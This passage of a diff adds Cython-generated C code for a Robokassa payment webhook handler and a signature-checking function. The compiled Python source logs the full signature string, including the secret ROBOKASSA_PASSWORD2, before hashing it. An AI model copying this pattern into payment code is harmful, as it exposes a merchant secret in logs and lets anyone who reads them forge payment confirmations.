(unlikely(!__pyx_t_5)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/robokassa_pay.py":163 + * async def robokassa_webhook(request): + * """ webhook- Robokassa shp_id.""" + * try: # <<<<<<<<<<<<<< + * params = await request.post() + * + */ + } + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":198 + * return web.Response(text=f"OK{inv_id}") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f"Error processing webhook: {e}") + * return web.Response(status=500) + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.robokassa_pay.robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_4, &__pyx_t_6) < 0) __PYX_ERR(0, 198, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_e = __pyx_t_4; + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":199 + * + * except Exception as e: + * logger.error(f"Error processing webhook: {e}") # <<<<<<<<<<<<<< + * return web.Response(status=500) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_logger); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_error); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_17 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Error_processing_webhook, __pyx_t_14); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_17}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":200 + * except Exception as e: + * logger.error(f"Error processing webhook: {e}") + * return web.Response(status=500) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 200, __pyx_L24_error) + __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_16, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_17); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + goto __pyx_L23_return; + } + + /* "handlers/payments/robokassa_pay.py":198 + * return web.Response(text=f"OK{inv_id}") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f"Error processing webhook: {e}") + * return web.Response(status=500) + */ + /*finally:*/ { + __pyx_L24_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __pyx_t_15 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_19 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ExceptionReset(__pyx_t_23, __pyx_t_24, __pyx_t_25); + } + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_20, __pyx_t_21, __pyx_t_22); + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __pyx_lineno = __pyx_t_15; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_19; + goto __pyx_L6_except_error; + } + __pyx_L23_return: { + __Pyx_PyThreadState_assign + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23) < 0)) __Pyx_ErrFetch(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_26 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_26; + __pyx_t_26 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_21, __pyx_t_20); + } + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ErrRestore(__pyx_t_25, __pyx_t_24, __pyx_t_23); + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + goto __pyx_L7_except_return; + } + } + } + goto __pyx_L6_except_error; + + /* "handlers/payments/robokassa_pay.py":163 + * async def robokassa_webhook(request): + * """ webhook- Robokassa shp_id.""" + * try: # <<<<<<<<<<<<<< + * params = await request.post() + * + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L8_try_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_AddTraceback("robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_12check_payment_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_13robokassa_pay_11check_payment_signature, "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \320\277\320\276\320\264\320\277\320\270\321\201\320\270 \320\267\320\260\320\277\321\200\320\276\321\201\320\260 \320\276\321\202 Robokassa \321\201 \321\203\321\207\320\265\321\202\320\276\320\274 shp_id."); +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_12check_payment_signature = {"check_payment_signature", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_12check_payment_signature, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_13robokassa_pay_11check_payment_signature}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_12check_payment_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_params = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("check_payment_signature (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_params,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_params)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 203, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "check_payment_signature") < 0)) __PYX_ERR(0, 203, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_params = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("check_payment_signature", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 203, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.check_payment_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_11check_payment_signature(__pyx_self, __pyx_v_params); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_11check_payment_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params) { + PyObject *__pyx_v_out_sum = NULL; + PyObject *__pyx_v_inv_id = NULL; + PyObject *__pyx_v_signature_value = NULL; + PyObject *__pyx_v_shp_id = NULL; + PyObject *__pyx_v_signature_string = NULL; + PyObject *__pyx_v_expected_signature = NULL; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + Py_ssize_t __pyx_t_5; + Py_UCS4 __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("check_payment_signature", 1); + + /* "handlers/payments/robokassa_pay.py":205 + * def check_payment_signature(params): + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") # <<<<<<<<<<<<<< + * inv_id = params.get("InvId") + * signature_value = params.get("SignatureValue") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_OutSum}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_out_sum = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":206 + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + * inv_id = params.get("InvId") # <<<<<<<<<<<<<< + * signature_value = params.get("SignatureValue") + * shp_id = params.get("shp_id") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_InvId}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_inv_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":207 + * out_sum = params.get("OutSum") + * inv_id = params.get("InvId") + * signature_value = params.get("SignatureValue") # <<<<<<<<<<<<<< + * shp_id = params.get("shp_id") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_SignatureValue}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_signature_value = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":208 + * inv_id = params.get("InvId") + * signature_value = params.get("SignatureValue") + * shp_id = params.get("shp_id") # <<<<<<<<<<<<<< + * + * signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_shp_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_v_shp_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":210 + * shp_id = params.get("shp_id") + * + * signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" # <<<<<<<<<<<<<< + * + * logger.info(f"Signature string before hashing: {signature_string}") + */ + __pyx_t_1 = PyTuple_New(7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = 0; + __pyx_t_6 = 127; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_v_out_sum, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__23); + __pyx_t_5 += 1; + __Pyx_GIVEREF(__pyx_kp_u__23); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u__23); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__23); + __pyx_t_5 += 1; + __Pyx_GIVEREF(__pyx_kp_u__23); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_kp_u__23); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ROBOKASSA_PASSWORD2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_shp_id_3); + __pyx_t_5 += 8; + __Pyx_GIVEREF(__pyx_kp_u_shp_id_3); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_kp_u_shp_id_3); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_v_shp_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_6) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_6; + __pyx_t_5 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 6, __pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_1, 7, __pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_signature_string = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":212 + * signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" + * + * logger.info(f"Signature string before hashing: {signature_string}") # <<<<<<<<<<<<<< + * + * expected_signature = ( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Signature_string_before_hashing, __pyx_v_signature_string); if 